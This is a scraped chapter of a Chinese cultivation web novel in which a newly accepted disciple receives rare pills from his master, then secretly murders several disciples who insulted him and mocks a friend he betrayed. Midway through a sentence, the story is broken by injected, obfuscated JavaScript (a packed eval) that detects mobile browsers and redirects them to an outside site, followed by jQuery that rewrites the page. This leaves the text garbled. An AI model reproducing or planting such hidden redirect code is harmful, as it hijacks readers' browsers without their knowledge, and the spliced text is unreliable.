万书库 > 都市小说 > 乖徒弟,杀她来了 > 12. 第 12 章
    这显然也超出鹿梨意料。


    她怔完,脑袋晃成拨浪鼓,鹿眼明亮含笑:“我修为心思都不及元洄,师尊您看看他呢?”


    洛无双转眸:“你意下如何?”


    元洄习惯性在笑,“都听师尊安排。”


    洛无双近乎温柔和蔼地道:“往后师妹和浮云峰有劳你多费心照料了。”


    鹿梨达成浮云峰混吃等死成就,狂点头:“嗯嗯嗯!辛苦师兄!”


    元洄嘴角轻抽:“……”


    -


    拜师礼结束,时辰还尚早。


    浮云峰无旁人,洛无双想着初为人师,总不好叫自己的弟子在内门孤立无援,便亲自领着两人在主峰各处转了转。


    内门上课用膳都在觅凌峰,三人上了饭堂雅间,用完午饭才折回浮云峰。


    浮云峰四季暖和,今日阳光晴好,穿云而来,落于花树间,于阴翳中投落浮游光影。


    洛无双往树下秋千摇椅里惬意一靠,怀里搂着打呼的棉花,半眯着眼抿口了花茶。


    悬在花树上的红绸铃铛荡开清脆铃音,话音随花而落:“见过三长老,弟子知晓峰方任远,师尊命弟子来送冰清丹了。”


    檀书的大弟子。


    洛无双若有似无地挠棉花,眯眼回忆。


    冰清丹……


    怕是师兄送过去的雪莲炼出来了。


    “小青。”洛无双以灵力敲了下银铃开山撤结界,“迎客。”


    闲庭居布局随意,划出来作弟子寝屋的地方与洛无双的寝屋只隔了道曲折回廊和那处长着花树的院子。


    元洄来时没带东西,领回来的弟子白袍摆在床头没动,正往手上缠黑布。


    院子里的动静传至耳边,各长老的大弟子都是在玄灵界叫得上名号的人物,他自然听说过自报家门的那位。


    略做思索,他绷紧了绕指的布,推门往外走。


    “师尊。”元洄绕过回廊,“有人来了?需要弟子接待么?”


    洛无双眼也没睁,摇椅随脚尖落地悠哉摇着,“不妨事。”


    嘴皮碰完,忽而良心发觉:这副没追求的样子被刚收的弟子撞见实在不妥。


    秋千停住,洛无双缓缓坐直身子,揪了个话头:“知道大课时辰与内容了么?”


    “玉牌上有安排详录,都看过了。”


    洛无双又掏出本册子:“我看了你的剑法,出招不拖泥带水,不过修为及心法不足,闲时翻阅此功法,也许会有收获。”


    元洄一怔,双手接过道了声谢。


    洛无双摆手,刚想将人打发走,小青往这边飘来了。


    可不好在这招待外人。


    洛无双起身,往不远处青石圆桌走。


    方任远行完一礼,将手中匣子置于石桌上,“千年雪莲极寒,师尊以回天炉炼制冰清丹,辅以蓝焰散尽凉性。师尊叮嘱,若是三长老服用此丹,每日需以热温活络足穴两刻钟。”


    洛无双左耳进右耳出,闻言一顿,“磕个药还要同凡人般泡脚?”


    “……是。”方任远硬着头皮:“三粒冰清丹,一粒泡半个月,师尊特意强调的。”


    洛无双只问:“倘若涂颜吃呢?”


    “八长老?”方任远思索道:“寻常修士直接吞服便可。”


    “我记下了,”洛无双点头,“有劳,替我多谢檀书。”


    “还有一事!”她送客之意明显,方任远君子之风端不太住,又往桌上放了个盒子,急道:“这是师尊命弟子带来的松眠香,专治您的失眠之症!”


    洛无双怀疑:“此番的能有用?”


    “……大约是。”方任远头皮发麻:“师尊一年前炼出此香,但凡嗅此香者无不入睡无忧,一夜酣眠。师尊又言,若您燃一粒无效,可追加剂量,每夜不逾三粒都无妨,三长老切记。”


    百年前檀书便是这句话。


    洛无双神色更淡,“我记住了。”


    方任远擦着额角的汗走了。


    元洄在她身后听完始终,垂眸若有所思。


    洛无双拨开盛冰清丹的玉匣,三粒清白丹药置于其中,渺渺白雾如丝缭绕,看这品相,也是够寻常小宗门争得头破血流了。


    如此仙品,她吃了又能如何?


    还一粒泡半个月的脚。


    洛无双将玉匣一敛,反手递过去,“拿着,一颗送到鹿梨手中,其余你每隔半月吃下去。”


    “……师尊?”元洄绕到她面前,双膝一折跪下去:“冰清丹贵重,是檀书长老为师尊炼制,请师尊收回成命。”


    洛无双觑他:“昨日拜师,今日便敢违逆师命?”


    眼见将人吓得小脸发白,洛无双没忍住笑了,扶住他往下的手臂,“逗你的。”


    “拿去罢,用不上的东西,再贵重也无益。千年雪莲有洗筋伐髓之效,你的灵根又比鹿梨更合适,便多拿一颗,往后有好东西,多惦记着些你师妹。”


    那只结着同心契的手又落在他小臂上。


    元洄喉骨滑动,慢慢抬头。


    洛无双见他停住磕头的动作,收手再将匣子一递,语含戏谑:“不是要听师尊的话么?”


    话已至此,再推拒实在不知好歹。


    元洄接过玉匣,斟酌抬眼:“师尊方才提到……八长老,三颗冰清丹,不给八长老吗?”


    “给他干嘛?”洛无双挠挠在怀里闹腾的棉花,“追雪峰灵丹妙药可不知多少,你以为太墟哪都种得出千年雪莲?”


    十二长老的峰头在外门不是秘密。


    元洄垂眼,玉匣的角绷在指腹里。


    他扬唇扯了抹乖顺笑意,“那便多谢师尊赐药了。”


    “起罢。”洛无双见他下跪就头疼,“浮云峰不若外头,无事不跪。我的弟子站着说话,记住了?”


    元洄颔首:“好,听师尊的。”


    桌上还摆着那盒松眠香,元洄状似顺嘴关心,又问:“师尊有失眠之症?”


    “老毛病了,”洛无双敲敲那盒子,圆瓷消失于眼前,“不是什么大事。”


    她不欲多言,元洄乖乖点头,又道:“师尊,昨日将东西收拾在房中,发觉走时匆忙,落了柄铁剑在外门,想与师尊请示离开浮云峰回去一趟。”


    “铁剑?”洛无双道:“试炼中用的那柄?”


    元洄不明所以,迟疑点头。


    “那柄剑粗劣,初入门用用能行,于你如今不足了,改日我赠你一柄。”


    元洄又一愣:“这几日上大课总要用的。”


    闲庭居没别的剑。


    剑道至简,是剑都能用,不过本命剑更契合心意罢了。


    她那乌苏剑没认主,借他不是不可,只是后患麻烦。


    寻剑又不是急于一时的事。


    洛无双掀眼看他。


    他生得高,靠近尤为分明。


    此刻隔着不远的距离,低眸安静地等她回复,见她看来,轻弯了唇角。


    洛无双撇开眼:“去吧。”


    他有自己的打算,操心太多未免显得她太闲。


    -


    外门,下山夹道。


    三四个玄衣弟子骂骂咧咧地往山下走。


    “狗日的小白脸!”


    “不是这小畜生试炼何至于提前整整一日结束?!”


    “听说落春台上,小白脸厚颜无耻往三长老跟前一跪,张嘴便叫师尊,这心机手段,我呸!”


    “还挑,我挑他老祖宗,还看不上十二长老,瞧给他能耐的,这风头不都给他占尽了?四殿下离开落春台的脸都是黑的!”


    外门本在太墟山脉,顺山道而下,山脚处已不在护山大阵的范围之内。


    百年槐树绿冠浓密,风声沙沙打过,吹开一片垂落的黑色袍角。


    几人恁恁不平,踢着脚下碎石泄愤。


    这截小路逼仄,背靠山石,拐个角便看不见前面人的背影。


    落在最后的那名弟子口中念念有词:“太墟不公!小白脸一介筑基,居然单枪匹马躲过四殿下的劫杀!”


    话音刚落,山风吹拂,吹来一声轻如气声的笑意。


    那人耳朵一痒,鸡皮疙瘩窜遍四肢百骸。


    风吹落叶,左肩似乎被人轻拍了一下,他下意识扭头,对上一张淡漠冰冷的脸。


    张大的嘴被裹缠黑布的手捂死,锋利冰棱折开灿烂日光,尖端刺破骨肉,无声如入无人之境。


    飞溅的鲜血不及落地便被冻结,冰晶在体内分解碎裂,顺血脉冻结心跳。


    紧缩的瞳孔在惊恐中逐渐涣散。


    走在前面的人一无所觉,仍在言辞龌龊地辱骂。


    元洄将死人靠石壁放下,等人骂完喘气时故技重施。


    山石边眨眼靠了三具乌冷发青的躯体。


    曹茂为面色极为难看。


    他入太墟外门三十年,十年前才跻身前三百得到入无间卷试炼的资格。


    太墟试炼实力和运气并重,三次仍不能入内门便永远丧失资格。


    太墟不缺杂役子弟,他已历练两次,此番抱住李润旻的大腿,明明胜券在握,半路杀出个小白脸。


    彼时混元境破败小院前,小白脸手握妖丹却被他们堵死。


    只要杀死他夺得妖丹,以李润旻对三万年前往事的了解,此局他们必胜无疑。


    偏偏冒出个以清纯无辜骗过他们的女人。


    白烟混浊,眼前模糊,混乱中冷箭破空,他没防备,被李润旻一拽,替他挡了一计偷袭,当场出局。


    曹茂为恨恨咬牙,口中低咒不停,脚下被凸起的石块一绊,恍惚觉得,耳边有些过于清净了。


    一只手拍上他的左肩。


    他皱眉转头,颈间滑上一片冰冷。


    裹着布的手掐在他颈间绷得筋骨分明,适才几人口中咒骂的人出现在面前。


    锐利冰晶不由分说刺进心脏,元洄收紧手指,很轻地笑,宛如山路偶遇故友。


    “不是祝你试炼顺利、成功晋入内门么?”他歪了歪脑袋,莞尔道:“怎么运气如此不好?”


    “小白脸……”曹茂为一张嘴便涌出大口鲜血,“你敢……”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563676|204635||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>元洄紧锁他的瞳孔,窥见其中满溢的惊惧。


    那恐怖扩散,到狰狞五官,到脖子上暴起的青筋,到失速被冰封的心跳。


    “我怎么不敢?”元洄愉悦地勾着嘴角,手中冰棱没入最后一寸。


    “闭眼之前,你再看一看脚下山道,再想一想被太墟除名后灭了的命灯。”


    他俯首凑近那只泛起青色的耳朵,声音很轻,恶劣低语如索命修罗:“没有人会来救你。”


    冰晶粉碎。


    六角晶莹覆没于那双恐慌的眼瞳,直到彻底冻结。


    元洄松开紧到痉挛的左手,盯着这具尸体,甩开指间粘腻腥臭的血珠。


    山风携着落叶,无忧无虑地吹拂。


    小路安静,下坠的叶片没了依托,落在了无人的青石上。


    -


    外门破院更深处,水面涟漪悠荡。


    湖心平静,乌发淋漓披散的脑袋破水而出。


    元洄抹了把脸,随手将长发往脑后一捋。


    冰蓝色沉寂于墨色瞳仁,眼睫眨动,近眼尾的眼皮上两粒浅色小痣便又被藏入浅淡褶子中。


    斜阳西落,暮色将合。


    距离他出浮云峰已经两个时辰。


    取个剑可耗不了这些时候。


    真是可惜。


    他又沉入水中,湖心无澜,岸边传来水声。


    水汽随他上岸而蒸干,元洄缠好左手的布,抬手又顿了顿,最终只以木簪松散打理了一番。


    乾坤囊灵光闪动,冰块不见其形,径直落入水中。


    元洄从怀里摸出云海珠,将手探入水中。


    暖光自他手心扩散,紧紧缠住那四块冰,他轻轻笑了声,云海珠骤然一亮,冰块裂开蛛网。


    “来。”


    话音荡入水中波纹,沉寂湖底鱼群躁动,失控地涌向血丝蔓延的岸边。


    一刻钟后。


    元洄捻着手中透彻的水珠,转身踏上林间堆积枯叶的小路。


    他走在外门练场,炊烟携着菜香,肆无忌惮涌入鼻尖。


    这样晚才收拾完。


    回去实在是不好交代。


    元洄脚步顿了半响,最终拐向了膳堂。


    内门弟子俸禄暂且不知几何,但看浮云峰闲庭居那出手便是冰清丹的便宜师尊的德行,往后估计难因攒钱买法器而挨饿。


    元洄付了一颗中品灵石,拎了份甜豆花,想了想,照旧打了一大碗米饭去蹭免费海带鸡蛋汤。


    外门都是熟面孔。


    元洄坐下没多久,身边来往密集,多的是打听那活在传说里的三长老脾性、样貌的丑陋嘴脸。


    大约是过于聒噪,拌了汤的米饭都难以下咽。


    如今脱离外门拜入浮云峰,又何必与这些人再虚以委蛇。


    元洄神色越发淡淡,随便扒拉两口,头也不回出了膳堂。


    “元洄!”


    膳堂边的竹林处,叫住他的声音熟悉,元洄御剑而起的动作停住。


    杜邻飞冲过来,猛地拽住他的领口,两眼猩红:“元洄!亏我当你是我兄弟!”


    冲劲太大,元洄往后踉跄两步,手里竹筒里盛着的豆花跟着摇晃。


    他皱了皱眉,听清那句话,没忍住笑了,“我不是拿你当兄弟了么?”


    好歹出于这些微薄的情谊,接手乾坤囊时还道了声谢不是?


    “……你!”杜邻飞咬牙,“你摸着良心说,城门下你没认出我?”


    “认出了啊,”


    元洄捏住他的腕骨,歪头笑:“可我以综测三百的位次进的试炼,我的修为如何你清楚,难道你不能理解我的苦衷?”


    相同的话术,只在五日前的夜里,因为这片竹林,出自他自己口中。


    杜邻飞嘴唇颤动,拽他衣领的手骨被捏紧扯下来。


    元洄要拉平起皱的领子,手中竹筒晃动,他眸光微动,手又落回去。


    “杜邻飞,”他含笑说:“我今日心情不错,你撞碎我的豆花,我不与你计较。人行于世,诸多身不由己,我不怪你,亦不欠你。”


    “你不欠我?”杜邻飞冷笑一声,“抢我的积分送你往前进了多少名?我与人结队,便只是苟且于城中也势必能进内门,你怎么敢说你不欠我?!”


    “这样……”元洄沉吟,疑惑道:“可是,与我何干呢?”


    他一副无耻的无赖样,杜邻飞老实惯了,怒气自昨日回想和听人议论确认后积攒,忍耐至此刻,骤然爆发,居然滞塞于胸腔唇舌中,整个人气到发抖,却说不出半句话。


    元洄见状,哂了声笑:“人不为己,天地不仁。兄弟不是拿来捅刀子的么,这个道理还是你教我的。何况技不如人,丢人现眼了,这也怨我?”


    他言辞尖锐,口吻却云淡风轻。


    杜邻飞脸色红白变幻,身影僵停,居然连发抖都弱下来。


    时辰不早了。


    元洄漫不经心地笑,坠地的铁剑重新悬浮。


    他踏剑而起,随意摆手:“师尊遣我买豆花,就不与你叙旧了。”